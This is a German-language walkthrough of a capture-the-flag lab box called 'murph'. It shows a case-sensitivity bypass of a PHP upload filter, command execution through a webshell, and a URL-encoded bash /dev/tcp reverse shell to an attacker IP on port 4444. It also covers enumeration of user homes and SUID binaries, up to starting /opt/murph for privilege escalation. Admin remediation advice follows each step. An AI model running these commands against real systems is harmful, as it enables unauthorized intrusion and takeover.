Analyse: Ich versuche einen weiteren Upload-Versuch an saveit.php, diesmal mit dem Dateinamen neu.phtml und dem Inhalt . Der entscheidende Unterschied ist hier die Verwendung von Groß-/Kleinschreibung im PHP-Tag (). Für Laien: Ich versuche wieder, mein 'Geheimprogramm' hochzuladen, aber diesmal schreibe ich das Wort 'php' im 'Bauplan' anders (PhP, mit großem P), um den Filter auszutricksen. Für Experten: Dies ist ein klassischer Versuch, einen Case-Sensitive Filter zu umgehen. Wenn der Filter nur die genaue Zeichenfolge 'php' (kleingeschrieben) ersetzt, wird nicht gefiltert. Es wird erwartet, dass PHP (bei Standardkonfiguration) Tags wie oder dennoch als PHP-Code erkennt und ausführt.

Bewertung: Das Umgehen des Case-Sensitive Filters mit ist ein plausibler Ansatz. Der nächste Schritt ist zu prüfen, ob diese Datei hochgeladen wurde und ob Nginx sie als ausführbares PHP behandelt.

Empfehlung (Pentester): Überprüfen Sie, ob die Datei neu.phtml erfolgreich in /uploads/ gespeichert wurde und versuchen Sie dann, darauf zuzugreifen und den cmd-Parameter zu verwenden, um einen Systembefehl auszuführen.
Empfehlung (Admin): Stellen Sie sicher, dass alle String-Operationen in Sicherheitsfiltern Case-Insensitive sind, es sei denn, dies ist absichtlich nicht gewünscht. Implementieren Sie eine robustere Validierung, die nicht auf einfacher Zeichenkettenersetzung basiert.

┌──(root㉿CCat)-[~] └─# curl http://murph.hmv/uploads/neu.phtml?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Nach dem Hochladen von neu.phtml versuche ich erneut, auf die Datei zuzugreifen und den Befehl id über den cmd-Parameter auszuführen: curl http://murph.hmv/uploads/neu.phtml?cmd=id. Diesmal zeigt die Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data). Für Laien: Ich habe versucht, mein neues 'Geheimprogramm' (neu.phtml) zu starten und ihm zu sagen, es soll den Befehl 'id' ausführen. Und fantastisch – es hat funktioniert! Der Computer hat geantwortet, dass das Programm als 'www-data' läuft! Für Experten: Das erfolgreiche Ausführen des id-Befehls und die Rückgabe der Benutzer- und Gruppen-IDs (UID 33, GID 33, Benutzer www-data) beweist die erfolgreiche Ausnutzung der Datei-Upload-Schwachstelle in Kombination mit der Umgehung des Filters. Die Datei neu.phtml wurde erfolgreich hochgeladen, der Nginx-Server ist so konfiguriert, dass er .phtml als ausführbares PHP behandelt, und der injizierte Payload wurde vom PHP-Interpreter ausgeführt. Dies stellt Remote Code Execution (RCE) als Benutzer www-data dar, was den Initial Access zum System markiert.

Bewertung: Fantastisch! Die Datei-Upload-Schwachstelle wurde erfolgreich ausgenutzt, und ich habe RCE als Benutzer www-data erlangt. Dies ist der Initial Access zum System. Ich kann nun von dieser Webshell aus Systembefehle ausführen.

Empfehlung (Pentester): Ich habe nun die Möglichkeit, Befehle als Benutzer www-data auszuführen. Um eine stabilere und interaktive Shell zu erhalten, werde ich als Nächstes eine Reverse Shell zu meinem Kali-System initiieren.
Empfehlung (Admin): Dies ist eine kritische RCE-Schwachstelle. Beheben Sie die Datei-Upload-Schwachstelle umgehend, indem Sie die Dateitypen strikt validieren (Whitelist), den Inhalt auf bösartigen Code prüfen und sicherstellen, dass Upload-Verzeichnisse nicht zur Code-Ausführung konfiguriert sind. Überwachen Sie das /uploads-Verzeichnis und Zugriffe darauf.

┌──(root㉿CCat)-[~] └─# curl http://murph.hmv/uploads/neu.phtml?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

                

Analyse: Mit der Möglichkeit, beliebige Befehle über die Webshell neu.phtml auszuführen, initiiere ich eine Reverse Shell zu meinem Kali-System auf Port 4444. Ich verwende den cmd-Parameter, um den URL-kodierten Befehl /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1' auszuführen. Dieser Befehl startet eine Bash-Shell (/bin/bash -i) und leitet ihre Standard-Input, -Output und -Error-Streams über eine TCP-Verbindung (/dev/tcp/192.168.2.199/4444) zu meinem Kali-System (192.168.2.199) auf Port 4444 um. Für Laien: Ich sage dem hochgeladenen 'Geheimprogramm', es soll eine direkte 'Telefonverbindung' (Reverse Shell) zu meinem Computer auf einer bestimmten 'Leitung' (Port 4444) aufbauen und dann alles, was ich eingebe oder was der Computer antwortet, über diese Leitung schicken. Für Experten: Dies ist ein Standard-Bash-Kommando zur Initiierung einer Reverse Shell, das über die kompromittierte Webshell ausgeführt wird. Der /dev/tcp-Pseudo-Device ist eine bequeme Methode, um TCP-Verbindungen direkt aus Bash herzustellen. Die Ausführung als www-data bedeutet, dass die resultierende Shell die Berechtigungen dieses Benutzers haben wird.

Bewertung: Der Befehl zur Initiierung der Reverse Shell ist korrekt konstruiert. Seine Ausführung sollte mir eine stabilere Shell als Benutzer www-data verschaffen.

Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 4444 auf Ihrem Kali-System läuft. Führen Sie diesen curl-Befehl aus und warten Sie auf die eingehende Verbindung in Ihrem Listener.
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen von Webservern, insbesondere von Prozessen, die unter dem Benutzer www-data laufen, auf ungewöhnliche Ziel-IPs oder Ports. Implementieren Sie Egress-Filterung auf Firewalls.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.50] 37714
bash: cannot set terminal process group (377): Inappropriate ioctl for device
bash: no job control in this shell
www-data@murph:~/html/uploads$

Analyse: Auf meinem Kali-System habe ich den Netcat-Listener auf Port 4444 gestartet, während ich den curl-Befehl zur Initiierung der Reverse Shell auf dem Zielsystem ausgeführt habe. Die Ausgabe zeigt, dass mein Listener auf Port 4444 lauscht und dann eine eingehende Verbindung vom Zielsystem (connect to [192.168.2.199] from (UNKNOWN) [192.168.2.50] 37714) empfängt. Die Meldungen 'bash: cannot set terminal process group...' sind typisch für eine einfache Netcat-Shell. Der Prompt www-data@murph:~/html/uploads$ erscheint, was signalisiert, dass ich erfolgreich eine interaktive Shell als Benutzer www-data auf dem Zielsystem erhalten habe und mich im Verzeichnis /var/www/html/uploads befinde (basierend auf der Ausgabe des späteren cat saveit.php, das den Pfad /var/www/html/uploads/ zeigt). Für Laien: Meine 'Telefonleitung' (Port 4444) hat geklingelt, und ich habe den Anruf vom Zielcomputer angenommen. Jetzt sehe ich das 'Befehlsfenster' (Shell) des Zielcomputers direkt auf meinem Bildschirm und kann Befehle eingeben. Ich bin als Benutzer 'www-data' angemeldet. Fantastisch! Für Experten: Der erfolgreiche Empfang der Reverse Shell auf Port 4444 bestätigt den erfolgreichen Initial Access über die Webshell und die Erlangung einer stabilen Shell-Sitzung als Benutzer www-data. Dies ist die Grundlage für die Privilegien-Eskalationsphase.

Bewertung: Der Initial Access als Benutzer www-data wurde erfolgreich etabliert. Ich habe nun eine interaktive Shell und kann von hier aus das System weiter auf Privilegien-Eskalationsvektoren enumerieren.

Empfehlung (Pentester): Von dieser Shell aus werde ich das System auf SUID/SGID Binaries, Cronjobs, sudo-Berechtigungen und Dateiberechtigungen untersuchen, um Möglichkeiten zur Erlangung höherer Rechte zu finden.
Empfehlung (Admin): Überwachen Sie Reverse Shells und implementieren Sie Egress-Filterung. Beschränken Sie die Berechtigungen des Benutzers www-data auf das absolute Minimum, um den potenziellen Schaden im Falle einer Kompromittierung zu begrenzen.

www-data@murph:~/html$ ls -la
total 244
drwxr-xr-x 3 www-data www-data   4096 May 31  2022 .
drwxr-xr-x 3 root     root       4096 May 31  2022 ..
-rw-r--r-- 1 www-data www-data    266 May 31  2022 index.html
-rw-r--r-- 1 www-data www-data    275 May 31  2022 saveit.php
drwxr-xr-x 2 www-data www-data 229376 Jun 16 23:19 uploads
www-data@murph:~/html$ cat saveit.php

$filewhat = $_GET['filename'];
$contentwhat = $_GET['content'];

$filewhat2 = str_replace("php","wtf",$filewhat);
$contentwhat2 = str_replace("php","wtf",$contentwhat);

$fp = fopen("/var/www/html/uploads/".$filewhat2, 'w');
fwrite($fp, $contentwhat2);
fclose($fp);
?>

Analyse: In der www-data Shell liste ich zunächst den Inhalt des aktuellen Verzeichnisses auf (vermutlich /var/www/html/, basierend auf dem Kontext) mit ls -la. Die Ausgabe zeigt die Dateien index.html, saveit.php und das Verzeichnis uploads, alle im Besitz des Benutzers www-data. Besonders interessant ist, dass das uploads-Verzeichnis mit einem Änderungsdatum vom 16. Juni 2025 (dem Datum des Tests) und einer ungewöhnlich großen Größe von 229376 Bytes angezeigt wird, was wahrscheinlich an den vielen Upload-Versuchen liegt. Danach lese ich den Quellcode des Skripts saveit.php mit cat saveit.php aus. Der Quellcode bestätigt die Funktionalität, die ich aus dem Formular abgeleitet habe: Es nimmt die Parameter filename und content von der URL entgegen ($_GET), führt eine Case-Sensitive Ersetzung von 'php' durch 'wtf' in beiden Parametern durch (str_replace("php","wtf",...), und speichert den modifizierten Inhalt in einer Datei im Verzeichnis /var/www/html/uploads/ mit dem modifizierten Dateinamen. Für Laien: Ich schaue mir um, wo ich gelandet bin und welche Dateien hier sind. Ich finde das Programm (saveit.php), das ich zuvor benutzt habe, und schaue mir seinen 'Bauplan' an. Dieser bestätigt, dass es 'php' durch 'wtf' ersetzt, aber nur, wenn 'php' kleingeschrieben ist. Die hochgeladenen Dateien landen im Ordner uploads. Für Experten: Das Auslesen des Quellcodes von saveit.php bestätigt die exakte Logik der Upload-Funktion und des Filters. Dies erklärt, warum die Umgehung mit funktioniert hat (Case-Sensitive Ersetzung). Es bestätigt auch den genauen Upload-Pfad: /var/www/html/uploads/. Der www-data Benutzer hat volle Kontrolle über diese Dateien und Verzeichnisse.

Bewertung: Der Quellcode von saveit.php liefert vollständige Klarheit über die Upload-Schwachstelle und die Filterumgehung. Die Kontrolle über /var/www/html/uploads/ und die Fähigkeit, Dateien mit PHP-Code hochzuladen und auszuführen, ist der erfolgreiche Initial Access.

Empfehlung (Pentester): Von dieser Shell aus werde ich das System auf Privilegien-Eskalationsvektoren als Benutzer www-data enumerieren. Dazu gehören die Suche nach SUID/SGID-Binaries, Cronjobs, sudo-Berechtigungen und die Überprüfung von Dateiberechtigungen in anderen Verzeichnissen.
Empfehlung (Admin): Beheben Sie die Datei-Upload-Schwachstelle, indem Sie alle Benutzereingaben strikt validieren und das Hochladen von ausführbarem Code verhindern. Entfernen Sie den unsicheren Code in saveit.php. Stellen Sie sicher, dass Upload-Verzeichnisse nicht zur Code-Ausführung konfiguriert sind.

www-data@murph:~/html$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data:
sudo: a password is required

Analyse: In der www-data Shell prüfe ich die sudo-Berechtigungen des aktuellen Benutzers mit sudo -l. Dieser Befehl listet alle Befehle auf, die www-data über sudo ausführen darf. Die Ausgabe zeigt die Standard 'lecture' (eine Warnung/Ethik-Hinweis) und dann die Meldung sudo: a password is required. Für Laien: Ich habe versucht, nach 'Admin-Befehlen' zu suchen, die der Benutzer 'www-data' ausführen darf. Aber der Computer hat geantwortet, dass 'www-data' dafür ein Passwort braucht. Das bedeutet, es gibt keine 'Passwortfrei'-Admin-Befehle für diesen Benutzer. Für Experten: Die Ausgabe zeigt, dass der Benutzer www-data keine NOPASSWD-Regeln in der /etc/sudoers Datei hat. Jeder Versuch, sudo auszuführen, würde die Passworteingabe für den Benutzer www-data erfordern. Da ich das Passwort für www-data nicht kenne, ist dieser direkte Weg zur Privilegien-Eskalation vorerst blockiert.

Bewertung: Der Benutzer www-data hat keine NOPASSWD-Sudo-Berechtigungen. Ich muss andere PE-Vektoren verfolgen, um höhere Berechtigungen zu erlangen. Die Suche nach SUID/SGID-Binaries oder die Enumeration anderer Benutzer ist nun wichtiger.

Empfehlung (Pentester): Da sudo mit Passwort als www-data nicht praktikabel ist, konzentrieren Sie sich auf SUID/SGID-Binaries, Cronjobs oder ausnutzbare Dateiberechtigungen. Untersuchen Sie die Home-Verzeichnisse anderer Benutzer.
Empfehlung (Admin): Eine gute Konfiguration, die keine NOPASSWD-Regeln für den Webserver-Benutzer zulässt. Stellen Sie sicher, dass auch andere sudo-Regeln für www-data restriktiv sind und ein starkes, unbekanntes Passwort erfordern.

www-data@murph:~/html$ ls /home/
jen pat
www-data@murph:~/html$ cd /home/jen/
www-data@murph:/home/jen$ ls -la
total 32
drwxr-xr-x 3 jen  jen  4096 May 31  2022 .
drwxr-xr-x 4 root root 4096 May 31  2022 ..
-rw------- 1 jen  jen    51 May 31  2022 .Xauthority
lrwxrwxrwx 1 jen  jen     9 May 31  2022 .bash_history -> /dev/null
-rw-r--r-- 1 jen  jen   220 May 31  2022 .bash_logout
-rw-r--r-- 1 jen  jen  3526 May 31  2022 .bashrc
drwxr-xr-x 3 jen  jen  4096 May 31  2022 .local
-rw-r--r-- 1 jen  jen   807 May 31  2022 .profile
-rw------- 1 jen  jen    19 May 31  2022 user.txt

www-data@murph:/home/jen$ cat user.txt
cat: user.txt: Permission denied

www-data@murph:/home/jen$ cd ../pat/
www-data@murph:/home/pat$ ls -la
total 28
drwxr-xr-x 3 pat  pat  4096 May 31  2022 .
drwxr-xr-x 4 root root 4096 May 31  2022 ..
lrwxrwxrwx 1 pat  pat     9 May 31  2022 .bash_history -> /dev/null
-rw-r--r-- 1 pat  pat   220 May 31  2022 .bash_logout
-rw-r--r-- 1 pat  pat  3526 May 31  2022 .bashrc
-rw------- 1 pat  pat    14 May 31  2022 .gnome-keyring
drwxr-xr-x 3 pat  pat  4096 May 31  2022 .local
-rw-r--r-- 1 pat  pat   807 May 31  2022 .profile

Analyse: Von der www-data Shell aus untersuche ich nun die Home-Verzeichnisse anderer Benutzer. Ich liste zuerst die Inhalte von /home/ auf (ls /home/), was die Benutzer jen und pat zeigt. Dann wechsle ich in das Home-Verzeichnis von jen (cd /home/jen/) und liste den Inhalt auf (ls -la). Das Verzeichnis enthält Standard-Konfigurationsdateien und eine Datei namens user.txt (19 Bytes groß, deutet auf User Flag hin) mit Berechtigungen -rw------- (nur Eigentümer lesbar/schreibbar). Ich versuche, user.txt zu lesen (cat user.txt), erhalte aber Permission denied, da ich nur als www-data unterwegs bin. Danach wechsle ich in das Home-Verzeichnis von pat (cd ../pat/) und liste dessen Inhalt auf (ls -la). Dieses Verzeichnis enthält Standard-Konfigurationsdateien und eine Datei .gnome-keyring, aber keine offensichtliche Flag-Datei. Für Laien: Ich schaue mir die 'Zuhause'-Ordner der anderen Benutzer (jen und pat) auf dem Computer an. Im Ordner von 'jen' finde ich eine Datei, die wie eine 'Benutzer-Geheimnummer' aussieht (user.txt), aber ich darf sie nicht lesen. Im Ordner von 'pat' finde ich nichts sofort Verdächtiges. Für Experten: Die Enumeration von Benutzer-Home-Verzeichnissen ist Standard, um Flags, Anmeldedaten in Konfigurationsdateien (.ssh, .config etc.) oder andere sensible Daten zu finden. Die Berechtigungen von user.txt (nur Eigentümer lesbar/schreibbar) bedeuten, dass ich höhere Berechtigungen benötige, um sie zu lesen. Das Fehlen einer sofort offensichtlichen Flag oder sensiblen Datei in pats Home-Verzeichnis lenkt den Fokus auf andere PE-Vektoren.

Bewertung: Die Benutzer jen und pat sind identifiziert. Die User Flag ist wahrscheinlich in /home/jen/user.txt, aber ich kann sie mit meinen aktuellen www-data Berechtigungen nicht lesen. Die Home-Verzeichnisse liefern derzeit keine direkten Anmeldedaten für andere Benutzer. Ich muss meine Berechtigungen erhöhen, um auf jens user.txt zuzugreifen und weiter nach PE-Vektoren zu suchen, die mich zu jen, pat oder direkt zu root bringen.

Empfehlung (Pentester): Suchen Sie nun nach SUID/SGID-Binaries, die potenziell missbraucht werden können, um die Berechtigungen auf dem System zu erhöhen. Dies ist ein gängiger PE-Vektor, wenn sudo-Regeln oder leicht auslesbare Geheimnisse fehlen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzer-Home-Verzeichnisse und deren Inhalte nur für den jeweiligen Eigentümer lesbar/schreibbar sind. Implementieren Sie restriktive Dateiberechtigungen.

www-data@murph:/home/pat$ find / -type f -perm -4000 -ls 2>/dev/null
139394 20 -rwsr-sr-x   1 root     www-data    16896 May 31  2022 /opt/murph

Analyse: Ich suche nach SUID-Binaries auf dem System. SUID-Binaries sind ausführbare Dateien, die mit den Berechtigungen des Dateieigentümers (normalerweise root) ausgeführt werden, unabhängig davon, wer sie startet. Dies ist ein häufiger PE-Vektor. Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht im gesamten Dateisystem (/) nach Dateien (-type f), die das SUID-Bit gesetzt haben (-perm -4000), listet sie detailliert auf (-ls) und leitet Fehlermeldungen (z.B. wegen fehlender Berechtigungen in bestimmten Verzeichnissen) nach /dev/null um. Die Ausgabe zeigt eine Datei: /opt/murph, die SUID (s im Eigentümer-Berechtigungsfeld rws) und SGID (s im Gruppen-Berechtigungsfeld r-sr) gesetzt hat. Sie gehört root und der Gruppe www-data. Für Laien: Ich suche auf dem ganzen Computer nach speziellen Programmen, die jeder starten kann, die aber mit den Rechten des 'Chefs' (root) oder der Gruppe 'www-data' laufen. Ich finde ein Programm namens /opt/murph, das so eine spezielle Berechtigung hat. Für Experten: Die Identifizierung von SUID/SGID-Binaries ist ein Standard-PE-Schritt. Die Datei /opt/murph mit SUID für Root und SGID für www-data ist ein sehr aussichtsreicher PE-Vektor, insbesondere da der aktuelle Benutzer (www-data) Mitglied der Gruppe ist, für die SGID gesetzt ist. Das SUID-Bit für Root bedeutet, dass das Binary mit Root-Rechten läuft, wenn es ausgeführt wird.

Bewertung: Der Fund des SUID/SGID-Binaries /opt/murph ist ein signifikanter Durchbruch für die Privilegien-Eskalation. Da das Binary SUID root gehört, wird es bei Ausführung mit Root-Berechtigungen laufen. Die SGID www-data ist für den aktuellen Benutzer (www-data) ebenfalls relevant, aber das SUID root ist der direkte Pfad zu Root-Rechten.

Empfehlung (Pentester): Untersuchen Sie das Binary /opt/murph genauer, um seine Funktionalität und potenzielle Schwachstellen (z.B. Buffer Overflows, unsichere Systemaufrufe, Pfadmanipulationen) zu identifizieren, die es ermöglichen könnten, Root-Rechte zu erlangen. Verwenden Sie Tools wie file, strings, und statische/dynamische Analysewerkzeuge.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/SGID-Binaries auf dem System. Überprüfen Sie regelmäßig, welche Binaries diese Berechtigungen haben und ob sie absolut notwendig sind. Entwickeln Sie keine benutzerdefinierten SUID/SGID-Programme, es sei denn, dies ist unvermeidlich und erfolgt nach strengen Sicherheitsrichtlinien. Führen Sie Sicherheitsaudits für SUID-Binaries durch.

www-data@murph:/opt$ ls -la /opt/
total 28
drwxr-xr-x  2 root root      4096 May 31  2022 .
drwxr-xr-x 18 root root      4096 May 31  2022 ..
-rwsr-sr-x  1 root www-data 16896 May 31  2022 murph

www-data@murph:/opt$ ls -la /opt/murph
-rwsr-sr-x 1 root www-data 16896 May 31  2022 /opt/murph

me/pat$ file /opt/murph
/opt/murph: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=656ac7caf8d382453a8cb8aa67ca57b3bc9f5c45, for GNU/Linux 3.2.0, not stripped

Analyse: Ich untersuche die Berechtigungen und Metadaten des Binaries /opt/murph genauer. Ich liste den Inhalt von /opt/ auf und dann gezielt die Details von /opt/murph mit ls -la. Die Ausgabe bestätigt die Berechtigungen -rwsr-sr-x und den Besitz von root:www-data. Ich verwende das file-Kommando, um den Dateityp zu identifizieren. Die Ausgabe zeigt, dass /opt/murph ein 64-Bit ELF-Executable ist, das SUID und SGID gesetzt hat (setuid, setgid), dynamisch gelinkt ist und nicht 'stripped' wurde (was bedeutet, dass Symbolinformationen im Binary vorhanden sind, was die Analyse erleichtert). Es ist auch eine 'pie executable' (Position-Independent Executable), was bestimmte Exploits (aber nicht alle) erschweren kann. Für Laien: Ich schaue mir ganz genau an, was für ein 'Programm' das spezielle murph-Programm ist und wer es benutzen darf. Es ist ein normales Programm für Linux-Computer, aber es hat spezielle 'root'-Rechte, wenn es startet. Der 'Ausweis' des Programms sagt, dass es mit 'root'-Berechtigungen läuft. Für Experten: Die detaillierte Analyse von /opt/murph bestätigt die SUID/SGID-Berechtigungen und liefert technische Details (ELF, 64-bit, dynamically linked, not stripped, pie). Das 'not stripped' ist ein Vorteil für die Reverse Engineering-Phase.

Bewertung: Die SUID root Berechtigung von /opt/murph ist klar bestätigt. Dies ist unser Hauptziel für die Privilegien-Eskalation. Die technischen Details des Binaries helfen bei der Auswahl der richtigen Analyse- und Exploitation-Methoden.

Empfehlung (Pentester): Führen Sie eine String-Analyse und potenziell Reverse Engineering des Binaries durch, um seine Funktionalität zu verstehen und nach Schwachstellen zu suchen. Achten Sie insbesondere auf Interaktionen mit Signalen oder Systemaufrufe.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von Binaries in /opt und anderen Systemverzeichnissen. Stellen Sie sicher, dass nur absolut notwendige Binaries SUID/SGID-Berechtigungen haben und dass diese sicher implementiert sind.

www-data@murph:/opt$ strings murph
/lib64/ld-linux-x86-64.so.2
setuid
signal
puts
system
sleep
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
/bin/bash
Waiting SIGUSR1....
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
murph.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
sig_handler
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
signal@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
sleep@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

Analyse: Ich verwende den Befehl strings murph, um alle druckbaren Zeichenketten im Binary /opt/murph zu extrahieren. Dies ist eine schnelle Methode, um Hinweise auf die Funktionalität eines Programms zu erhalten, insbesondere wenn der Quellcode nicht verfügbar ist. Die Ausgabe zeigt mehrere interessante Zeichenketten, darunter Funktionsnamen wie setuid, setgid, signal, system, sleep, und die Zeichenkette /bin/bash. Besonders hervorzuheben ist die Meldung Waiting SIGUSR1..... Für Laien: Ich schaue mir den 'Text' an, der im speziellen 'murph'-Programm versteckt ist. Ich finde dort Wörter, die nach Programm-Funktionen klingen (wie 'system' oder 'sleep'), das Wort 'root'-Programm (/bin/bash) und einen Satz, der sagt: 'Warte auf ein Signal...'. Das deutet darauf hin, dass das Programm etwas tut, wenn es ein bestimmtes Signal bekommt. Für Experten: Die extrahierten Strings bestätigen die Verwendung relevanter Systemaufrufe (setuid, setgid, signal, system) und die Interaktion mit /bin/bash. Die Zeichenkette 'Waiting SIGUSR1....' ist ein starkes Indiz dafür, dass das Binary auf das Signal SIGUSR1 wartet (oder darauf reagiert) und möglicherweise nach Erhalt dieses Signals etwas Privilegiertes tut, z.B. eine Root-Shell starten (da /bin/bash und system ebenfalls gefunden wurden und das Binary SUID root hat).

Bewertung: Die String-Analyse liefert starke Hinweise darauf, dass /opt/murph auf das SIGUSR1-Signal wartet und möglicherweise bei dessen Empfang eine Root-Shell startet, da es SUID root ist und /bin/bash und system verwendet. Dies ist ein sehr vielversprechender PE-Vektor.

Empfehlung (Pentester): Der nächste Schritt ist, das Binary /opt/murph auszuführen und ihm dann das Signal SIGUSR1 zu senden, während es läuft. Wenn die Analyse korrekt ist, sollte dies zu einer Root-Shell führen.
Empfehlung (Admin): Überprüfen Sie benutzerdefinierte SUID-Binaries auf unsichere Verhaltensweisen wie das Warten auf Signale zur Ausführung privilegierter Aktionen oder die Verwendung unsicherer Systemaufrufe (wie system() mit Benutzereingaben). Entfernen Sie unnötige SUID-Berechtigungen.

www-data@murph:/opt$ uname -a
Linux murph 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64 GNU/Linux

Analyse: Ich führe den Befehl uname -a aus, um detaillierte Informationen über das Betriebssystem und den Kernel des Zielsystems zu erhalten. Für Laien: Ich frage den Computer nach seiner 'Identitätskarte' – welche Art von System es ist und wie alt die 'Motorteile' (Kernel) sind. Für Experten: Das genaue Betriebssystem (Debian) und die Kernel-Version (5.10.0-14-amd64) sind wichtig für die Recherche nach kernel-spezifischen Exploits oder zur Anpassung anderer Exploits an die Systemumgebung. In diesem Fall bestätigt es die Debian-Basis.

Bewertung: Die OS/Kernel-Informationen sind gesammelt. Sie sind nützlich für den Kontext, aber die primäre PE-Strategie konzentriert sich derzeit auf das SUID-Binary /opt/murph.

Empfehlung (Pentester): Beachten Sie die OS-Details für zukünftige Schritte oder falls der SUID-Exploit fehlschlägt. Konzentrieren Sie sich nun auf die Ausnutzung von /opt/murph.
Empfehlung (Admin): Halten Sie das Betriebssystem und den Kernel aktuell, um bekannte Schwachstellen zu schließen. Minimieren Sie die Informationen, die über uname -a zugänglich sind, falls dies als sensibles Informationsleck betrachtet wird (in den meisten Umgebungen weniger kritisch).

www-data@murph:/opt$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
jen:x:1000:1000:jen,,,:/home/jen:/bin/bash
pat:x:1001:1001:,,,:/home/pat:/bin/bash

www-data@murph:/opt$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1425 May 31  2022 /etc/passwd

www-data@murph:/opt$ ls -la /etc/shadow
-rw-r----- 1 root shadow 969 May 31  2022 /etc/shadow

Analyse: Ich setze meine System-Enumeration als www-data fort. Ich lese erneut die Datei /etc/passwd aus, diesmal gefiltert nach Zeilen, die 'sh' enthalten (grep sh /etc/passwd), um Benutzer mit interaktiven Shells zu identifizieren (root, sshd, jen, pat). Dann prüfe ich die Dateiberechtigungen der Dateien /etc/passwd und /etc/shadow mit ls -la. /etc/passwd hat Berechtigungen -rw-r--r--, ist also für alle lesbar. /etc/shadow hat Berechtigungen -rw-r----- und gehört der Gruppe shadow, ist also nur für Root und Mitglieder der Gruppe shadow lesbar. Für Laien: Ich schaue wieder in die 'Benutzerliste' (/etc/passwd), um zu sehen, wer eine normale Anmeldung hat. Ich prüfe auch, wer die Dateien mit den Benutzerlisten (/etc/passwd) und den geheimen Passwörtern (/etc/shadow) lesen darf. Jeder darf die Benutzerliste lesen, aber nur der Chef (root) und eine spezielle Gruppe (shadow) dürfen die Passwort-Datei lesen. Für Experten: Das Filtern von /etc/passwd ist Standard. Die Berechtigungen von /etc/passwd sind normal. Die Berechtigungen von /etc/shadow sind ebenfalls korrekt konfiguriert, um unberechtigtes Auslesen der Passwort-Hashes zu verhindern. Dies bedeutet, dass ich /etc/shadow nicht direkt als www-data lesen kann.

Bewertung: Die Benutzer root, jen, und pat haben interaktive Shells. Die Berechtigungen von /etc/shadow sind sicher. Der Benutzername jen und pat sind die primären Ziele für horizontale PE, falls ihre Passwörter gefunden werden oder ich ihre Berechtigungen über SUID-Binaries annehmen kann. Der Fokus bleibt aber auf dem SUID-Binary /opt/murph als direktem Weg zu Root.

Empfehlung (Pentester): Die Benutzer jen und pat sind weiterhin interessant, aber der wahrscheinlichste PE-Pfad führt über /opt/murph direkt zu Root. Konzentrieren Sie sich auf die Ausnutzung von /opt/murph. Wenn das fehlschlägt, können andere PE-Vektoren oder die Kompromittierung von jen/pat verfolgt werden.
Empfehlung (Admin): Standardberechtigungen für passwd/shadow. Stellen Sie sicher, dass die Mitgliedschaft in der Gruppe shadow stark eingeschränkt ist.

www-data@murph:/opt$ /opt/murph &
[1] 791
www-data@murph:/opt$ Waiting SIGUSR1....

Analyse: Ich führe das SUID-Binary /opt/murph aus dem Verzeichnis /opt/ mit dem Befehl /opt/murph & aus. Das Ampersand (&) am Ende bewirkt, dass das Programm im Hintergrund gestartet wird, sodass ich die Shell weiterhin nutzen kann. Die Ausgabe [1] 791 zeigt, dass das Programm mit der Prozess-ID (PID) 791 im Hintergrund gestartet wurde. Unmittelbar danach gibt die Shell die Meldung Waiting SIGUSR1.... aus, was genau der Zeichenkette entspricht, die ich zuvor mit strings gefunden hatte. Dies bestätigt, dass das Programm gestartet wurde und auf das erwartete Signal wartet. Für Laien: Ich starte das spezielle 'root'-Programm (murph) im Hintergrund. Das Programm startet und sagt sofort: 'Ich warte auf ein spezielles Signal!' Für Experten: Das Starten des SUID-Binaries im Hintergrund ist notwendig, um die Kontrolle über die Shell zu behalten und das Signal später senden zu können. Die Ausgabe 'Waiting SIGUSR1....' bestätigt die korrekte Ausführung des Binaries und seine Bereitschaft, auf das SIGUSR1-Signal zu reagieren. Da es SUID root ist, läuft dieser Prozess mit Root-Rechten.

